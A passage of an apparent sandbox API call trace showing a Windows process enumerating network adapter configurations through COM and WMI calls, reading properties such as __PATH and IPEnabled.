[1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.637] IUnknown:AddRef (This=0x8a09a8) returned 0x3 [0272.637] IUnknown:QueryInterface (in: This=0x8a09a8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.637] IUnknown:QueryInterface (in: This=0x8a09a8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.637] IUnknown:QueryInterface (in: This=0x8a09a8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8a09ac) returned 0x0 [0272.637] IMarshal:GetUnmarshalClass (in: This=0x8a09ac, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.637] IUnknown:Release (This=0x8a09ac) returned 0x3 [0272.638] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.638] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.638] IUnknown:QueryInterface (in: This=0x8a09a8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.638] IUnknown:Release (This=0x8a09a8) returned 0x2 [0272.638] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.638] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.638] IUnknown:QueryInterface (in: This=0x8a09a8, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8a09a8) returned 0x0 [0272.638] IUnknown:AddRef (This=0x8a09a8) returned 0x4 [0272.638] IUnknown:Release (This=0x8a09a8) returned 0x3 [0272.638] IUnknown:Release (This=0x8a09a8) returned 0x2 [0272.638] CoTaskMemFree (pv=0x8a2dd8) [0272.638] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.638] IUnknown:AddRef (This=0x8a09a8) returned 0x3 [0272.638] IWbemClassObject:Get (in: This=0x8a09a8, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.638] IWbemClassObject:Get (in: This=0x8a09a8, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=4", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.639] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=4") returned 0x82 [0272.639] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=4") returned 0x82 [0272.639] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a0 [0272.639] SetEvent (hEvent=0x2c4) returned 1 [0272.639] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x3a0, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.641] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.641] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbb98, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8bbb98) returned 0x0 [0272.641] WbemDefPath:IUnknown:AddRef (This=0x8bbb98) returned 0x3 [0272.641] WbemDefPath:IUnknown:Release (This=0x8bbb98) returned 0x2 [0272.641] WbemDefPath:IWbemPath:SetText (This=0x8bbb98, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=4") returned 0x0 [0272.641] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.641] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.641] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.642] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.642] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.642] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.642] IWbemClassObject:Get (in: This=0x8a09a8, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257880c*=0, plFlavor=0x2578810*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257880c*=11, plFlavor=0x2578810*=0) returned 0x0 [0272.642] IWbemClassObject:Get (in: This=0x8a09a8, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257880c*=11, plFlavor=0x2578810*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x257880c*=11, plFlavor=0x2578810*=0) returned 0x0 [0272.642] IUnknown:Release (This=0x8a09a8) returned 0x2 [0272.642] CoTaskMemAlloc (cb=0x4) returned 0x8a2e28 [0272.642] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a2e28, puReturned=0x2575b1c | out: apObjects=0x8a2e28*=0x89fe40, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.646] IUnknown:QueryInterface (in: This=0x89fe40, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x89fe40) returned 0x0 [0272.646] IUnknown:QueryInterface (in: This=0x89fe40, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.646] IUnknown:QueryInterface (in: This=0x89fe40, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.647] IUnknown:AddRef (This=0x89fe40) returned 0x3 [0272.647] IUnknown:QueryInterface (in: This=0x89fe40, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.647] IUnknown:QueryInterface (in: This=0x89fe40, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.647] IUnknown:QueryInterface (in: This=0x89fe40, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x89fe44) returned 0x0 [0272.647] IMarshal:GetUnmarshalClass (in: This=0x89fe44, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.647] IUnknown:Release (This=0x89fe44) returned 0x3 [0272.647] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.647] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.647] IUnknown:QueryInterface (in: This=0x89fe40, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.647] IUnknown:Release (This=0x89fe40) returned 0x2 [0272.647] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.647] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.647] IUnknown:QueryInterface (in: This=0x89fe40, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x89fe40) returned 0x0 [0272.647] IUnknown:AddRef (This=0x89fe40) returned 0x4 [0272.647] IUnknown:Release (This=0x89fe40) returned 0x3 [0272.647] IUnknown:Release (This=0x89fe40) returned 0x2 [0272.647] CoTaskMemFree (pv=0x8a2e28) [0272.647] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.647] IUnknown:AddRef (This=0x89fe40) returned 0x3 [0272.647] IWbemClassObject:Get (in: This=0x89fe40, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.648] IWbemClassObject:Get (in: This=0x89fe40, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=5", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.648] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=5") returned 0x82 [0272.648] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=5") returned 0x82 [0272.648] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a4 [0272.648] SetEvent (hEvent=0x2c4) returned 1 [0272.648] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x3a4, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.651] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.651] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc08, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8bbc08) returned 0x0 [0272.651] WbemDefPath:IUnknown:AddRef (This=0x8bbc08) returned 0x3 [0272.651] WbemDefPath:IUnknown:Release (This=0x8bbc08) returned 0x2 [0272.651] WbemDefPath:IWbemPath:SetText (This=0x8bbc08, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=5") returned 0x0 [0272.651] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.651] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.651] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.651] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.651] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.651] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.651] IWbemClassObject:Get (in: This=0x89fe40, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2579088*=0, plFlavor=0x257908c*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2579088*=11, plFlavor=0x257908c*=0) returned 0x0 [0272.652] IWbemClassObject:Get (in: This=0x89fe40, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2579088*=11, plFlavor=0x257908c*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2579088*=11, plFlavor=0x257908c*=0) returned 0x0 [0272.652] IUnknown:Release (This=0x89fe40) returned 0x2 [0272.652] CoTaskMemAlloc (cb=0x4) returned 0x8a2e78 [0272.652] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a2e78, puReturned=0x2575b1c | out: apObjects=0x8a2e78*=0x8a0ce0, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.657] IUnknown:QueryInterface (in: This=0x8a0ce0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x8a0ce0) returned 0x0 [0272.657] IUnknown:QueryInterface (in: This=0x8a0ce0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.657] IUnknown:QueryInterface (in: This=0x8a0ce0, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x54e7c8 | out: ppvObject=0x54e7c8*=0x0) returned 0x80004002 [0272.658] IUnknown:AddRef (This=0x8a0ce0) returned 0x3 [0272.658] IUnknown:QueryInterface (in: This=0x8a0ce0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x54e2fc | out: ppvObject=0x54e2fc*=0x0) returned 0x80004002 [0272.658] IUnknown:QueryInterface (in: This=0x8a0ce0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x54e2ac | out: ppvObject=0x54e2ac*=0x0) returned 0x80004002 [0272.658] IUnknown:QueryInterface (in: This=0x8a0ce0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e2b8 | out: ppvObject=0x54e2b8*=0x8a0ce4) returned 0x0 [0272.658] IMarshal:GetUnmarshalClass (in: This=0x8a0ce4, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x54e2c0 | out: pCid=0x54e2c0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0272.658] IUnknown:Release (This=0x8a0ce4) returned 0x3 [0272.658] CoGetContextToken (in: pToken=0x54e318 | out: pToken=0x54e318) returned 0x0 [0272.658] CoGetContextToken (in: pToken=0x54e72c | out: pToken=0x54e72c) returned 0x0 [0272.658] IUnknown:QueryInterface (in: This=0x8a0ce0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e7ac | out: ppvObject=0x54e7ac*=0x0) returned 0x80004002 [0272.658] IUnknown:Release (This=0x8a0ce0) returned 0x2 [0272.658] CoGetContextToken (in: pToken=0x54ed1c | out: pToken=0x54ed1c) returned 0x0 [0272.658] CoGetContextToken (in: pToken=0x54ec7c | out: pToken=0x54ec7c) returned 0x0 [0272.658] IUnknown:QueryInterface (in: This=0x8a0ce0, riid=0x54ed4c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x54ed48 | out: ppvObject=0x54ed48*=0x8a0ce0) returned 0x0 [0272.659] IUnknown:AddRef (This=0x8a0ce0) returned 0x4 [0272.659] IUnknown:Release (This=0x8a0ce0) returned 0x3 [0272.659] IUnknown:Release (This=0x8a0ce0) returned 0x2 [0272.659] CoTaskMemFree (pv=0x8a2e78) [0272.659] CoGetContextToken (in: pToken=0x54f08c | out: pToken=0x54f08c) returned 0x0 [0272.659] IUnknown:AddRef (This=0x8a0ce0) returned 0x3 [0272.659] IWbemClassObject:Get (in: This=0x8a0ce0, wszName="__GENUS", lFlags=0, pVal=0x54f388*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f408*=0, plFlavor=0x54f404*=0 | out: pVal=0x54f388*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x54f408*=3, plFlavor=0x54f404*=64) returned 0x0 [0272.659] IWbemClassObject:Get (in: This=0x8a0ce0, wszName="__PATH", lFlags=0, pVal=0x54f36c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x54f3f0*=0, plFlavor=0x54f3ec*=0 | out: pVal=0x54f36c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=6", varVal2=0x0), pType=0x54f3f0*=8, plFlavor=0x54f3ec*=64) returned 0x0 [0272.659] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=6") returned 0x82 [0272.659] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=6") returned 0x82 [0272.660] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a8 [0272.660] SetEvent (hEvent=0x2c4) returned 1 [0272.660] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f344*=0x3a8, lpdwindex=0x54f168 | out: lpdwindex=0x54f168) returned 0x0 [0272.663] CoGetContextToken (in: pToken=0x54f21c | out: pToken=0x54f21c) returned 0x0 [0272.663] CoGetContextToken (in: pToken=0x54f17c | out: pToken=0x54f17c) returned 0x0 [0272.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x8bbc78, riid=0x54f24c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f248 | out: ppvObject=0x54f248*=0x8bbc78) returned 0x0 [0272.663] WbemDefPath:IUnknown:AddRef (This=0x8bbc78) returned 0x3 [0272.663] WbemDefPath:IUnknown:Release (This=0x8bbc78) returned 0x2 [0272.663] WbemDefPath:IWbemPath:SetText (This=0x8bbc78, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_NetworkAdapterConfiguration.Index=6") returned 0x0 [0272.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f3c4 | out: puCount=0x54f3c4*=0x2) returned 0x0 [0272.663] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0x0, pszText=0x0 | out: puBuffLength=0x54f3c0*=0xf, pszText=0x0) returned 0x0 [0272.663] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f3c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f3c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c310, puCount=0x54f390 | out: puCount=0x54f390*=0x2) returned 0x0 [0272.663] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0x0, pszText=0x0 | out: puBuffLength=0x54f38c*=0xf, pszText=0x0) returned 0x0 [0272.664] WbemDefPath:IWbemPath:GetText (in: This=0x84c310, lFlags=4, puBuffLength=0x54f38c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f38c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0272.664] IWbemClassObject:Get (in: This=0x8a0ce0, wszName="IPEnabled", lFlags=0, pVal=0x54f38c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2579904*=0, plFlavor=0x2579908*=0 | out: pVal=0x54f38c*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2579904*=11, plFlavor=0x2579908*=0) returned 0x0 [0272.664] IWbemClassObject:Get (in: This=0x8a0ce0, wszName="IPEnabled", lFlags=0, pVal=0x54f394*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2579904*=11, plFlavor=0x2579908*=0 | out: pVal=0x54f394*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2579904*=11, plFlavor=0x2579908*=0) returned 0x0 [0272.664] IUnknown:Release (This=0x8a0ce0) returned 0x2 [0272.664] CoTaskMemAlloc (cb=0x4) returned 0x8a2ec8 [0272.664] IEnumWbemClassObject:Next (in: This=0x86d808, lTimeout=-1, uCount=0x1, apObjects=0x8a2ec8, puReturned=0x2575b1c | out: apObjects=0x8a2ec8*=0x881750, puReturned=0x2575b1c*=0x1) returned 0x0 [0272.669] IUnknown:QueryInterface (in: This=0x881750, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54e9ec | out: ppvObject=0x54e9ec*=0x881750) returned 0x0 [0272.669] IUnknown:QueryInterface (in: This=0x881750, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x54e9a0 | out: ppvObject=0x54e9a0*=0x0) returned 0x80004002 [0272.669] IUnknown:QueryInterface (in: This=0x881750, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), 